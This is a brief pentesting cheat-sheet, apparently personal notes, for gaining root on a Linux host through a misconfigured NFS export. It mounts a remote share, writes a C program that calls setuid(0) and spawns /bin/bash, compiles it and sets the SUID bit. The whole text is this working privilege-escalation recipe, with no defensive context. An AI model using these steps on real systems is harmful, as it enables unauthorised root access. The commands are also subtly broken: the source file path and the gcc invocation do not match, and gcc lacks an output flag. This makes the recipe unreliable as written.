NFS root

cat /etc/exports

showmount -e IP

mkdir /tmp/mountme
mount -o rw,vers=2 192.168.4.67:/tmp /tmp/mountme <--- now its mounted

echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/mountme.c

gcc /tmp/mountme/x.c /tmp/mountme/x
(ignore warnings)

chmod +s /tmp/mountme/x